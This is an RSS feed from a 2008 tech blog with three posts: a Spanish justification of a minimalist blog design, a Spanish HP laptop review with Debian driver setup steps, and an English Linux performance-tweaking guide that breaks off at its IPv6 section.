<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>knithx.net &#187; Artículos</title>
	<atom:link href="http://www.knithx.net/category/articulos/feed" rel="self" type="application/rss+xml" />
	<link>http://www.knithx.net</link>
	<description>Weblog sobre tecnología por el knithx team</description>
	<pubDate>Sun, 05 Oct 2008 12:27:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Justificación del nuevo diseño</title>
		<link>http://www.knithx.net/2008/08/29/justificacion-del-nuevo-diseno/</link>
		<comments>http://www.knithx.net/2008/08/29/justificacion-del-nuevo-diseno/#comments</comments>
		<pubDate>Thu, 28 Aug 2008 23:19:05 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Anuncios]]></category>

		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Diseño]]></category>

		<category><![CDATA[knithx]]></category>

		<guid isPermaLink="false">http://www.knithx.net/?p=475</guid>
		<description><![CDATA[Se divisa una nueva era en el diseño web. Hemos pasado de las decadas de los 90, donde ni siqueira se podían estilar las páginas con CSS, los gifs animados, las marquesinas y las imágenes retocadas por paint a barrocos diseños basados en sitios de comunidades propulsadas por un pesado motor PHP bajo un maquillaje [...]]]></description>
			<content:encoded><![CDATA[<p>Se divisa una nueva era en el diseño web. Hemos pasado de las decadas de los 90, donde ni siqueira se podían estilar las páginas con <code>CSS</code>, los gifs animados, las marquesinas y las imágenes retocadas por paint a barrocos diseños basados en sitios de comunidades propulsadas por un pesado motor <code>PHP</code> bajo un maquillaje hecho en <code>Photoshop</code>. Tras unos años en los cuales hacer una página web se regía por dominar o no el uso de tablas, llegó la era de su propia y tajante prohibición, para que los elementos flotantes, <code>div, span</code> y demás maquetación en cascada de estilos sustituyese el código basura generado por interminables ristras de <em>tags</em> como <code>font</code>, <code>u, i, b, &#038;nbsp</code>&#8230;</p>
<p>Dentro de esta época donde <code>xHTML</code> y <code>CSS</code> forman una irrompible alianza se diferenció una batería de sitios donde se promocionaba la interacción absoluta con el usuario y el dinamismo de carga de elementos de forma selectiva gracias a <code>AJAX</code>, o como se diría a la vieja usanza, la propiedad <code>XMLHttpRequest</code> de Javascript. Aunque sería sensato proponer que nos encontramos en esta moda, algunos nos atrevemos (dígnese usted de mirar nuevos diseños como los de <a href="http://www.minid.net">Minid.net</a> o <a href="http://www.rodrigogalindez.com">Rodrigo Galindez</a>) a afirmar que el diseño web está de vuelta buscando aquello que solo tenía en sus mismísimos comienzos: la simplicidad y el minimalismo absoluto.</p>
<p>Tirando líneas generales, un sitio creado o renovado recientemente será escaso en número de imágenes, hará un trabajo intenso de tipografías (muy probablemente usando unos tamaños por encima de la media de las mismas), valorando como oro en paño el peso de cada palabra y resaltando la prioridad de los elementos que se muestran por su soledad en la pantalla y la abundancia de <em>whitespace</em> que los rodean.</p>
<p><span id="more-475"></span></p>
<h2>Mis dos céntimos</h2>
<p>Tienen ante sus ojos el nuevo y estudiado diseño de mi weblog personal. Aunque nunca llueve a gusto de todos, intentaré justificar las decisiones que he tomado durante la maquetación del mismo para intentar convencer a los escépticos.</p>
<h2>Ready? Como he visualizado el layout</h2>
<p>Cuando se empieza a diseñar un sitio web, se empieza a diseñar en papel de manera <em>top-down</em>: primero nos imaginamos aquellos bloques más grandes y donde será la posición de cada uno. A medida que vamos diseñando esta <strong>rejilla</strong> podemos ir añadiendo detalles dentro de cada elemento e ir apuntando en un aparte una paleta de colores y la tipografía deseada para cada elemento. Asimismo, en una fase temprana del diseño primordia la colocación de los elementos flotantes sobre la tipografía, y esta primordia sobre los colores. Asimismo la creación e instauración de imágenes en el diseño es lo menos primordial y se dejará para última instancia.</p>
<p>Uno de los puntos más importantes a la hora de realizar cualquier tipo de diseño es comprender el objetivo del sitio y el público al cual va a ser presentado. Este es un sitio técnico y de diseño, donde lo que importa es más la información que la manera de la cual se presenta. Es por este motivo por el cual se han seguido pautas absolutamente minimalistas y se ha hecho un uso intensivo de espacio blanco a los laterales del texto.</p>
<p>Vayamos entonces por partes:</p>
<p><img src="http://img54.imageshack.us/img54/7531/squetchqk8.png" alt="Squematico" class="center" /></p>
<ol>
<li><em>La cabecera:</em> Es el único elemento que tiene la propiedad <code>background</code> distinta a las demás. Cuando entramos en un sitio, nuestros ojos escanean los elementos que hay en el de forma vertical hasta localizar la sección que buscamos. Una vez que nuestros ojos concretizan la zona donde es posible encontrar la información que buscamos, empieza el escaneo horizontal. Si se encuentra la información en el primer intento, estamos ante un sitio usable. Por eso mismo, un cambio gradual de color entre cabecera y cuerpo ayuda al escaneo visual a diferenciar ambas zonas sin ni siquiera mirar para ellas. De esta foma, aquí resaltamos <em>dónde</em> nos encontramos, sin importar el contenido. El visitante novel ignorará completamente esta parte. Asimismo es la única parte donde se introduce asimetría en el diseño, haciendo un acolchamiento lateral de un 30% del espacio presentado en vez de un 40% como en el resto del sitio. Aquí también se encuentra la única imágen permanente del sitio por motivos tipográficos.</li>
<li><em>El contenido:</em> Una vez que sabemos donde estamos, lo más importante es encontrar de que se habla en ese sito. Sin más intermediarios como barras de menú -o peor todavía- anuncios, adsense o derivados, se encuentra el post más recientemente públicado. Y aparece solo por el siguiente motivo. Existen dos tipos de visitantes a un blog: aquellos que lo hacen a través de su navegador y los que lo hacen por sindicación. Evidentemente, todo esfuerzo en un diseño va dirigido al primer tipo de visitante, normalmente más asiduo. Esta frecuencia de visita no busca más que la última actualización del sitio, conociendo de antemano publicaciones anteriores: de esta manera presentar únicamente la información más reciente es otra vía para liberar peso de carga y complejidad visual.</li>
<li><em>La participación:</em> Aunque normalmente en un weblog se puede acceder al <code>permalink</code> de una anotación haciendo click directamente sobre el título de la misma, he decidido recomendable incluir un link a mayores al final de cada entrada que invite al usuario a interaccionar con la web más activamente. De esta forma, se hace un bocadillo con la información como sustancia y tapas las vías de comunicación y discusión con la misma. Para detalles sobre el post como autor, fecha de publicación, categorías y demás detalles que más del setenta por ciento de las veces son ignorados, se encuentran presentes en la página individual de cada entrada.</li>
<li><em>Navegación:</em> Todos los posts del blog son individualmente accesibles a través de una navegación cronológica de los mismos. Aquí se presenta un detalle muy poco habitual pero a mi parecer lógico. Usualmente en los weblogs se presentan varios posts, encabezando la página el más reciente y a medida que descendemos los más antiguos. La navegación de los mismos suelen rezar palabras como &#8220;anteriores&#8221; y &#8220;siguientes&#8221; precedidas por flechas hacia la izquierda o a la derecha, cuando verdaderamente el contenido está visualmente ordenado de forma vertical. Por este motivo la navegación en este blog se presenta con flechas verticales y no horizontales, ya que algunos usuarios presentan problemas al entender temporalemte las palabras entrecomilladas anteriormente ya que, si se presenta de primero el post más reciente, el &#8220;siguiente&#8221; es justamente el &#8220;anterior&#8221; cronológicamente: absurdo.</li>
<li><em>El footer:</em> semánticamente el pie de página tiene como misión cerrar la misma y darle la sensación al usuario de que a partir del mismo la página ha terminado, y no de forma arbritaria como si no existiese. Múltiples blogs aprovechan para colocar en el mismo información excesiva como autores, años, licencias, múltiples sindicaciones, links a los diseñadores del <em>layout</em> y del motor de publicación empleado&#8230; Desmereciendo el objetivo original del mismo. En mi weblog el <em>footer</em> es aquel lugar donde acceder a dos partes fundamentales del blog: la sindicación y el menú del mismo. Sobre lo segundo se hablará más adelante.
</li>
</ol>
<p>Se ha intentado minimizar el número de bloques, así como el número de elementos presentes en cada uno de ellos: en la cabecera figura solo el logotipo, en la info del post sólamente el número de comentarios y una flecha que invita a &#8220;adentrarse&#8221; en las entrañas de la anotación, el pie de página&#8230;</p>
<p>Para una explicación magistral del uso de espacio blanco, podéis echarle un vistazo a <a href="http://www.alistapart.com/articles/whitespace">este artículo</a>.</p>
<p>No menos importante, la rejilla utilizada en este diseño es líquida y no de ancho fijo. Esto no es más que un intento de ser respetuoso con aquellas personas que aún usan resoluciones bajas o se conectan a través de dispositivos con pantalla pequeña. Por tanto, esta web se visualiza correctamente tanto como desde un <em>iPhone</em> hasta un televisor de cuarenta y dos pulgadas. Se trata de una adaptación similar como aquel líquido que volcamos en un recipiente: da igual su dimensión, éste se adapta en su seno.</p>
<p>De esta retórica se desprende otro comentario: la naturaleza porcentualmente centrada del diseño permite que el lector, tras la lectura de un par de líneas, conozca perfectamente los límites del texto y su escaneo horizontal sea más natural y cómodo. En mi opinión (cada uno ve con sus ojos) aquellos diseños que se apoyan en una parte del monitor no gozan de una simetría visual tan clara como los centrados: sabremos donde empieza la línea (ya que es normalmente veinticinco píxeles adentrado el marco del monitor) pero dónde termine es a elección del diseñador. En cambio, si forzamos al usuario a empezar a leer en una posición arbitraria y a terminar en otra con el mismo márgen al final de la pantalla, se consigue situar en el contenido de una manera mucho más natural.</p>
<p>Se dice a menudo que en el diseño impreso (y probablemente este precepto sea aplicable al digital) que la línea de un libro no debería de contener más de cuarenta palabras. A parte de cumplir este requisito, tomo la &#8220;ley de los tres tercios&#8221; de la fotografía tradicional para emplazar las entradas: estas ocupan un 66% (~2/3) de la página, dejando un 33% (~1/3) de espacio blanco. Aunque todos estos temas sean quizás demasiado avanzados para alguien no metido en el tema, son perceptibles para todo el mundo de forma inconsciente.</p>
<h2>Helvetica</h2>
<p>Este sitio utiliza (a excepción de la imágen utilizada en la cabecera para darle un toque de asimetría de entrada) una única tipografía: <em>Helvetica</em>. Es más que factible asegurar que el 95% de las páginas web que existen en la actualidad usan o bien <em>Arial</em> o bien <em>Helvetica</em>. De hecho, un ojo no entrenado sería incapaz de distinguir entre estas dos tipografías, mientras que las sutiles diferencias suelen ser a menudo las más importantes.</p>
<blockquote><p>Helvética (también conocida como Neue Haas Grotesk, Helvetica y ultimamente expandida a Neue Helvetica) es una tipografía desarrollada por Max Miedinger en 1957 para la fundición de tipografías Haas&#8217;sche Schriftgießerei (también conocida como &#8220;Haas&#8221;) de Basilea, Suiza. Su diseño está basado en una anterior tipografía llamada Berthold Akzidenz Grotesk que data de 1896.</p></blockquote>
<p>Más tarde, Microsoft hizo una réplica de esta fuente llamada <em>Arial</em>. Sin embargo, Helvetica es la presente en el <abbr title="irónico, verdad?">logotipo de la empresa</abbr>. También es la tipografía utilizada en todo el sistema de transportes de la ciudad de New York y es asimismo la utilizada por la Nasa en la etiquetación del transbordador espacial y toda su documentación.</p>
<p>En caso de no tener instalado Helvética, el <code>CSS</code> admitirá como válida <em>Arial</em> y en último recurso, cualquiera parecida de la familia <em>sans-serif</em>. Además, la estipulación en sistemas Unix de usar Helvética como fuente sin tenerla instalada muestra una Arial bastante bien antialisada. Son todos estos motivos, además del monopolio que comparten estas dos tipografías en diseño, los que me han llevado a usar Helvética en la totalidad del texto presentado.</p>
<p>Disminuir la cantidad de tipografías distintas que se muestran en un sitio relaja los ojos del lector además de no tener que someterle a cambios de hábitos de lectura (por ejemplo, es posible leer un texto escrito con sans-serif mirando únicamente la parte superior de las letras, mientras que esto es inviable con un texto escrito únicamente con seritas). La monotonía tipográfica le da uniformidad al diseño además de restarle barroquismo y complejidad visual.</p>
<p>Además, se utiliza una relación de interlineado de 1,5 veces mayor que la tipografía usada en el párrafo, lo que se viene usando en el diseño impreso minimalista muchos años. El interlineado es un elemento vital para una lectura cómoda, por lo que se ha respetado esta tradición usando una relación tamaño de letra interlineado 14/23px.</p>
<p>Por último, se intenta huír de la saturación que brinda la negrita en un texto para jerarquizar títulos y rótulos, realizando esta tarea simplemente con el tamaño de la letra.</p>
<h2>Pinta y colorea</h2>
<p>La paleta de colores es una de las facetas más importantes y objeto de estudio a la hora de construir desde cero una página. Según este criterio se pueden dividir las webs en dos tipos: claras y oscuras. Como podreis observar, knithx luce un estilo completamente oscuro.</p>
<p>Un estilo oscuro emite a nuestros ojos muchísima menos radiación que uno claro. La lectura en un fondo negro (únicamente en monitores y no en libros ni en diseño empreso) es mucho más relajada y suave que en un fondo completamente blanco, además de ser incluso peligroso cuando no tenemos ninguna iluminación indirecta en donde nos encontremos con nuestro ordenador. Más como una curiosidad, un diseño oscuro a efectos prácticos &#8220;contamina&#8221; menos que uno claro (y dada la gente que usa Google y lo blanco que es, han surgido interfaces para el mismo <a href="http://www.negroogle.com.es/">alternativas y oscuras</a> para salvar un poquito el medio ambiente).</p>
<p>Siguiendo la misma filosofía que en la tipografía, me he limitado a escoger una colección de colores reducida para la elaboración de este diseño. La paleta de colores es la siguiente:</p>
<p><img src="http://img527.imageshack.us/img527/9770/paletawm8.png" alt="Paleta de colores" class="center" style="border:none;" /></p>
<p>Donde el marco se usa para la cabecera, el fondo para el cuerpo del blog, el verde para el código, el blanco para las letras de la cabecera y los restantes tonos de gris para el texto que se muestra en la página, incluído el plano, los links, las etiquetas <code>h1, h2, h3...</code></p>
<h2>Usabilidad</h2>
<p>El diseño es ligero, carga bien en cualquier dispositivo y se puede considerar usable. <em>¿Por qué?</em> Pues porque una vez entrado al sitio, se muestra la información que buscas <em>solamente</em> (la última actualización) y se te brindan las cuatro opciones más comunes de la forma más rápida posible: leer (inmediata), comentar (un click), explorar el blog (un click) y obtener la sindicación del mismo (un click).</p>
<h3>Sí,¿Pero dónde está el menú?</h3>
<p>No es habitual que los visitantes usen el menú del blog. Normalmente, la actividad en un blog es la de leer y discutir mediante comentarios. Ahora, siempre hay un grupo de visitantes minoritarios que llegan al blog con objetivos diferentes, como explorarlo por categorías o (más extraño todavía) por fecha. De todas formas, estas formas de explorar el contenido (así como un formulario de búsqueda directa y un párrafo introductorio sobre de que trata el blog) para aquellos usuarios nuevos y minoritarios se encuentran en el en principio oculto menú. Se puede acceder al mismo mediante el pie de página (al estilo de <a href="http://www.microsiervos.com">Microsiervos</a> pero en la parte opuesta del <em>layout</em>.</p>
<p>Se presentaban dos opciones: incluir el menú permanentemente barroquizando el diseño con un elemento inadvertido en la gran mayoría de los casos u ocultarlo (en este caso con JavaScript, por lo que no requiere ni siquiera carga adicional de datos) haciéndolo visible mediante un enlace, donde se mostrarán las posibilidades de navegación del blog. He optado por la segunda para mantener la claridad y el aspecto anteriormente descrito, aunque no tan radicalmente como, por ejemplo, <a href="http://leonpaternoster.com/">Leon Pater Noster</a>, donde ni siquiera son accesibles las categorías, las fechas o un mero formulario de búsqueda (error que también cometió Minid en su diseño de una columna, donde no se encontraba por <em>ningún</em> lado el formulario).</p>
<h2>Conclusión</h2>
<p>Tras discutir los tres elementos fundamentales de una página web (<em>layout</em>, tipografía y colores) podemos concluir con que nos encontramos ante un diseño radicalmente minimalista, donde no se añade ningún elemento que no sea realmente funcional y se hace intensivo uso de espacio en blanco para resaltar los elementos allí donde se encuentren, emplazados visualmente por orden de importancia.</p>
<p>Por útimo, este artículo será traducido al inglés donde incluiré explicaciones no sólamente de lo <em>qué</em> he hecho, si no también <em>cómo</em> lo hice (código, como hacer el tema en sí). Como siempre digo, <em>stay tunned</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2008/08/29/justificacion-del-nuevo-diseno/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HP Pavilion dv9575es</title>
		<link>http://www.knithx.net/2007/09/05/hp-pavilion-dv9575es/</link>
		<comments>http://www.knithx.net/2007/09/05/hp-pavilion-dv9575es/#comments</comments>
		<pubDate>Wed, 05 Sep 2007 20:55:09 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Informática]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[gadgets]]></category>

		<category><![CDATA[hardware]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2007/09/05/hp-pavilion-dv9575es/</guid>
		<description><![CDATA[Hace una semana que compré el ordenador portátil HP Pavilion dv9575es en el fnac de A Coruña. Por ahora aún sigo intentando configurar hasta el último dispositivo, que no son pocos, de los que vienen tanto en Linux como en Windows. Sobre la máquina, por fuera es incluso más bonita que una MacBook Pro, si [...]]]></description>
			<content:encoded><![CDATA[<p>Hace una semana que compré el ordenador portátil <em><a href="/files/dv9575es.jpg">HP Pavilion dv9575es</a></em> en el fnac de A Coruña. Por ahora aún sigo intentando configurar hasta el último dispositivo, que no son pocos, de los que vienen tanto en Linux como en Windows. Sobre la máquina, <em>por fuera</em> es incluso más bonita que una MacBook Pro, si se me permite el cumplido por parte de los Mac fanboys. La tapa es negra, brillante, y con un acabado in-print de círculos y elipses. El teclado, al tener una pantalla enorme de 17&#8243; (que admite una resolución de 1440&#215;900) es amplio y muy cómodo, aunque a veces la temperatura del ordenador, y aún más en verano, puede hacerlo un tanto sudoroso. Es muy fino dadas las prestaciones que posee, y el peso se puede admitir de ligero ya que ronda sobre los tres kilos y medio.</p>
<p>Un aspecto del cual no estaba muy seguro antes de comprar el ordenador era el de la pantalla <em>en brillo</em>. Hasta hace poco, las pantallas LCD o TFT de los portátiles venían con un acabado en mate, tal y como siguen viniendo los monitores ordinarios de sobremesa. Hará un par de años que empezaron a salir, progresivamente hasta monopolizar el mercado, portátiles con pantallas acabadas en brillo super-reflectantes; aunque la calidad de la imagen y de los colores es mejor, si donde estás se encuentran focos de luz indirectos, los reflejos que se crean pueden llegar a ser molestos. Así con todo, con lo que llevo de uso del portátil no me ha supuesto un gran inconveniente, y lo he estado en unos cuantos ambientes distintos.</p>
<p>Es famoso de HP preinstalar el sistema operativo y vender los equipos con un particionado de disco un tanto extraño, protagonizando una instalación de Windows con cuatro o cinco programas extra para justificar el precio pagado. Una vez formateado, no se puede hablar mejor de un ordenador que dando sus especificaciones técnicas.</p>
<pre>
<strong>Procesador:</strong> <em>2x</em> Intel® Core™ 2 Duo T7300 @ 2 GHz , 4 MB de caché de nivel 2
<strong>Placa Base:</strong> Intel Crestline GL960/GM965/PM965
<strong>Tarjeta Gráfica:</strong> nVidia GeForce 8400M GS (128 MB)
<strong>Memoria RAM:</strong> <em>2x</em> Qimonda DDR2-667MHz SDRAM 1GB
<strong>Disco Duro:</strong> <em>2x</em> Toshiba MK1237GSX ATA 120GB
<strong>Unindad Óptica: HL-DT-ST DVDRAM GSA-T20L ATA w/ Lightscribe
</strong><strong>Adaptador Inalámbrico:</strong> Intel 3945ABG PRO/Wireless
<strong>Adaptador de Red:</strong> Realtek RTL8168/8111 (NDIS 6.0)
<strong>Tarjeta de Sonido:</strong> Realtek ALC268 @ Intel 82801HBM ICH8M
<strong>Módem:</strong> Motorola SM56
<strong>Controlador de Firewire:</strong> Ricoh RL5C832
<strong>Lector de tarjetas SD·MS/Pro·MMC·XD:</strong> Ricoh RL5C/822/592/843/852
<strong>Lector de Huellas Digitales:</strong> AunthenTec Inc. AES2501A
<strong>Ratón:</strong> Synaptics PS/2 Port TouchPad
<strong>HP Webcam y <em>2x</em> micrófono integrados</strong>
</pre>
<p>De los cuales, como cabía esperar, funcionan todos en Windows sin mayor complicación.</p>
<p></p>
<h2>Hablando de Linux&#8230;</h2>
<p><span id="more-456"></span></p>
<p>Aún no he conseguido hacer funcionar absolutamente todos los dispositivos mencionados arriba, pero a parte de que gran parte de ellos son soportados out-of-the-box, aquí os dejo el procedimiento necesario para arrancar aquellos que el sistema operativo no reconoce de entrada:</p>
<h3>nVidia GeForce 8400M GS</h3>
<p>Simplemente nos bajamos los drivers de la página oficial de <a href="http://www.nvidia.com">nVidia</a> y los instalamos. Un reinicio, y listo. Puedes usar scripts como Envy (Ubuntu) o smxi (Sidux) para realizar dicha tarea de una forma más automatizada.</p>
<h3>Intel 3945ABG PRO/Wireless</h3>
<p>Con los repositorios <em>non free/contrib</em> activados, ejecutamos:</p>
<pre>apt-get install firmware-iwlwifi</pre>
<p>Reiniciamos, y listo.</p>
<h3>Realtek ALC268 @ Intel 82801HBM ICH8M</h3>
<p>Para la tarjeta de Sonido y altavoces, el proceso es más complicado (donde # significa comando ejecutado como root y $ como usuario):</p>
<pre>
# apt-get update &#038;&#038; apt-get install mercurial build-essential libncurses5 automake autoconf

$ hg clone http://hg.alsa-project.org/alsa-driver alsa-driver
$ hg clone http://hg.alsa-project.org/alsa-kernel alsa-kernel

$ cd alsa-driver
$ ./hgcompile

# make install-modules
</pre>
<p>Y tras reiniciar, ya tendremos sonido y grabación funcionando.</p>
<h3>HP Webcam ¿Suyin Crystal Eye Webcam?</h3>
<p>Es de mi parecer que la solución es la siguiente:</p>
<pre>
apt-get install linux-uvc-tools libpt-plugins-v4l2 linux-uvc-source
module-assistant a-i linux-uvc
</pre>
<h3>AunthenTec Inc. AES2501A</h3>
<pre>apt-get install aes2501-wy</pre>
<h3>Teclas Multimedia</h3>
<p>He indagado un poco sobre el tema y he llegado a los keycodes de las teclas en cuestión:</p>
<pre>
<strong>Quickplay:</strong> 205
<strong>DVD:</strong> 237
<strong>Back:</strong> 144
<strong>Play/Pause:</strong> 162
<strong>Forward:</strong> 153
<strong>Stop:</strong> 164
<strong>Mute/Unmute:</strong> 160
<strong>Bajar Volumen:</strong> 174
<strong>Subir Volumen:</strong> 176
</pre>
<p>Desde aquí (aún trabajando en ello) debería de haber algún programa para asignar a esos keycodes las funciones deseadas</p>
<h3>El brillo y el contraste</h3>
<p>No encuentro la manera de fijar el brillo y el contraste de manera permanente y a mi gusto.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2007/09/05/hp-pavilion-dv9575es/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Intensive Linux tweaking and optimization</title>
		<link>http://www.knithx.net/2007/05/23/intensive-linux-tweaking-and-optimization/</link>
		<comments>http://www.knithx.net/2007/05/23/intensive-linux-tweaking-and-optimization/#comments</comments>
		<pubDate>Wed, 23 May 2007 15:00:02 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[tweaking]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2007/05/23/intensive-linux-tweaking-and-optimization/</guid>
		<description><![CDATA[Linux distributions (specially Debian and based on, which I am going to use through this guide) have a perfectly stable configuration out-of-the-box, but it is always possible to tweak things to speed up the performance in our system, including general response, boot time, network speed, and many others. Also, I&#8217;d like to share this guide [...]]]></description>
			<content:encoded><![CDATA[<p>Linux distributions (specially Debian and based on, which I am going to use through this guide) have a perfectly stable configuration out-of-the-box, but it is always possible to tweak things to speed up the performance in our system, including general response, boot time, network speed, and many others. Also, I&#8217;d like to share this guide to encourage you to collaborate on it, especially in adding tweaks in the comments for those applications or hardware I am not user of, like Gnome or nVidia. As it was said: This guide will head you to different tweaks that will increase the performance of your system, BUT:</p>
<p><em>Be aware that all modifications are made as root user, so you may need to omit some steps if you don&#8217;t know what exactly are you doing!</em></p>
<h2>System tweaking</h2>
<h3>Swappiness</h3>
<p>Swappiness is the ammount of virtual memory (swap partition) your computer is ordered to use. It is set to 60% in newer kernels, but computers with a high ammount of RAM can run faster if less memory is swapped and more is directly used. For computers with 1GB RAM or more, a value between 0 and 5 works well. You can check the performance you get modifying  the swappiness with the command:</p>
<p><span id="more-393"></span></p>
<p><code>sysctl -w vm.swappiness=[value]</code></p>
<p>Where value is the amount of memory that will be swapped. When you find a value which fits you (I use 0 or 5), you can make the changes permanent editing the file <em>/etc/sysctl.conf</em> by adding this line at the end:</p>
<p><code>vm.swappiness=5</code></p>
<h3>DMA</h3>
<p>Direct memory access (DMA) is a feature of modern computers, that allows certain hardware subsystems within the computer to access system memory for reading and/or writing independently of the central processing unit. Enabling DMA may improve performance in your disk drives.</p>
<p>Let&#8217;s imagine the unit where DMA wants to be enabled is <em>/dev/hdb</em>. You can check whether you have DMA enabled or not with the command:</p>
<p><code>hdparm /dev/hdb</code></p>
<p>If you get the output:</p>
<p><code>using_dma    =  1 (on)</code></p>
<p>DMA is already enabled. If not, you can enable it by typing:</p>
<p><code>hdparm -d1 /dev/hdb</code></p>
<p>or, for setting it to the highest level:</p>
<p><code>hdparm -u1 -S60 -a1024 /dev/hda</code></p>
<p>However, in order for the settings to be automatically applied at boot there you need to edit the <em>/etc/hdparm.conf</em> script, adding the following to the end of it:</p>
<p><code>/dev/hdb {<br />
dma = on<br />
}</code></p>
<h3>Removing unused tty&#8217;s</h3>
<p>By default, many Linux distributions have six tty&#8217;s (command prompts) which are accessible through the key bindings <em>CTRL+ALT+F1</em> to <em>CTRL+ALT+F6</em>. They are a handy option in case X server crashes or you have any other problems with tty7 (the visual enviroment), but you may not need the six of them, and deactivating some of them will speed up your system. For doing that, edit the file <em>/etc/inittab</em> and comment the lines:</p>
<p><code>2:23:respawn:/sbin/getty 38400 tty2<br />
3:23:respawn:/sbin/getty 38400 tty3</p>
<p>4:23:respawn:/sbin/getty 38400 tty4<br />
5:23:respawn:/sbin/getty 38400 tty5<br />
6:23:respawn:/sbin/getty 38400 tty6</code></p>
<p>if you want to deactivate tty2, 3, 4, 5 and 6.</p>
<h3>Prelinking</h3>
<p>Prelink is intended to speed up a system by reducing the time a program needs to begin. Actual results have been mixed, but it seems to aid systems with a large number of libraries by sharing them between programs, such as KDE. To install Prelink just type:</p>
<p><code>apt-get install prelink</code></p>
<p>And configure it editing the file <em>/etc/default/prelink</em> by modifying the line:</p>
<p><code>PRELINKING=unknown</code></p>
<p>to:</p>
<p><code>PRELINKING=yes</code></p>
<p>You should execute prelink periodically in order to refresh its library database. It takes a while the first time, and it should be called with:</p>
<p><code>/etc/cron.daily/prelink</code></p>
<h3>Removing junk files</h3>
<p>Several commands are using for cleaning up rubbish in your system (in case you don&#8217;t have them, you can install them with <em>apt-get install [commandname]</em>, like:</p>
<p><code>apt-get clean</code></p>
<p><code>apt-get autoclean</code></p>
<p><code>deborphan</code></p>
<p>or</p>
<p><code>debfoster</code></p>
<p><code>localepurge</code></p>
<p>An automated way for cleaning up is:</p>
<p><code>sudo apt-get update; apt-get dist-upgrade; apt-get remove; apt-get autoremove; apt-get clean; apt-get autoclean; rm -r /tmp/*</code></p>
<h3>X.Org</h3>
<p>You all know the excellent <a href="http://sidux.com/PNphpBB2-viewtopic-t-24.html">h2&#8217;s script</a>. In order to get 3D acceleration (and much more stuff) use it. Once you are done, we can tweak the file <em>/etc/X11/xorg.conf</em> when using OpenSource Drivers by modifying the <em>Device</em> section, as it shows below:</p>
<p><code>Option "EnablePageFlip" # improves performance on 3d acceleration<br />
Option "AGPMode"  "1/2/4/8" # agp speed (choose one)<br />
Option "AGPSize"  "32/64/128" # manually set agp aperture, kinda like shared memory (choose one)<br />
Option "AccelMethod"  "xaa"  # exa is still rigged, use xaa until they solve the 2d acceleration issues.<br />
Option "XAANoOffscreenPixmaps" # generic optimization for 2d acceleration, disables XAA offscreen pixmaps<br />
Option "DynamicClocks" "on"<br />
Option "ColorTiling" "on"<br />
Option "FBTexPercent" "95"</code></p>
<p>If you don&#8217;t mind, you also can improve the general performance of the visual environment reducing <em>DefaultDeph</em> color from &#8220;24&#8243; to &#8220;16&#8243;.</p>
<h3>Turn off (mute) system beep</h3>
<p>To permanently disable the PC speaker even after reboots, add this to <em>/etc/rc.local</em> before the last line <em>(exit 0)</em>:</p>
<p><code>modprobe -r pcspkr</code></p>
<h3>Redistributing RAM usage</h3>
<p>The following command will redistribute the way your RAM memory does output graphic information. This would considerably speed up the way buttons, scrollbars, and other items show up when a window is maximized or restored, for example.</p>
<p><code>echo "base=0x98000000 size=0x8000000 type=write-combining" >| /proc/mtrr</code></p>
<h3>Optimizing KDE</h3>
<p>Executing <em>kcontrol</em>, we can modify a lot of parameter about the visual environment, and some of them can be set in order to improve performance. Those are:</p>
<p><em>Look &amp; Feel - Style - Effects - Deactivate all effects.</em><br />
<em>Look &amp; Feel - Background - No background (if you don&#8217;t need it).</em><br />
<em>Look &amp; Feel - Launch Notification - Busy passive cursor, set all values to 0 seconds.</em></p>
<p><em>Desktop - Window Behaviour - Animate minimizing and restoring - Deactivate it.</em><br />
<em>Desktop - Desktops - Set it to 1 (if you don&#8217;t need more).</em></p>
<p><em>Sounds and Multimedia - Notifications - Deactivate all sounds.</em><br />
<em>Sounds and Multimedia - Sound system - Deactivate it (use ALSA instead).</em></p>
<p>I also recommend to install Dolphin instead Konqueror. It is much faster and lightweight.</p>
<h2>Speeding up boot time</h2>
<h3>Removing unnecessary services</h3>
<p>We can speed up our boot time by reducing the number of services started with the system. For doing that, we are going to use the tool <strong>sysv-rc-conf</strong>, which can let us manage easily the services we want to enable or not when my computer boots. We can install it through the official repositories:</p>
<p><code>apt-get install sysv-rc-conf</code></p>
<p>When executed on a terminal, we will see the list of services we have activated and in which init mode they are. It is important to say that there are some services you shouldn&#8217;t change in order to keep things functioning internally. Those are:</p>
<p><em>acpid, binfmt-support, bootlogd,  dbus, klogd, halt, ifplugd, ifupdown, kdm,  klogd, libdevmap, module-init-tools, networking, rc.local, reboot, sendsigs, single, stop-bootlogd, sysklogd, udev, udev-mtab, umontfs, umountroot, urandom, x11-common&#8230;</em></p>
<p>Plus any others you should need due to specific hardware, as <em>alsa-utils, atievetsd, bluetooth, fuse</em>&#8230; </p>
<p>More information is available <a href="http://ubuntuforums.org/showthread.php?t=89491">on here</a> in case of doubt: Please make sure you know what you are doing; otherwise, you may harm your system.</p>
<h3>Starting services in concurrency mode</h3>
<p>Another way for improving our boot time is to make all services start parallel. To do so, you only need to open the file:</p>
<p><code>/etc/init.d/rc</code></p>
<p>and change:</p>
<p><code>CONCURRENCY=none</code></p>
<p>to:</p>
<p><code>CONCURRENCY=shell</code></p>
<p>Done. Now your boot time should be much quicker than before. If not, <a href="http://www-128.ibm.com/developerworks/linux/library/l-boot.html?ca=dgr-lnxw04BootFaster">here you have more possible tweaks</a> for it.</p>
<h2>Internet Tweaking</h2>
<h3>IPV6</h3>
<p>To deactivate IPV6, you need to edit the file:</p>
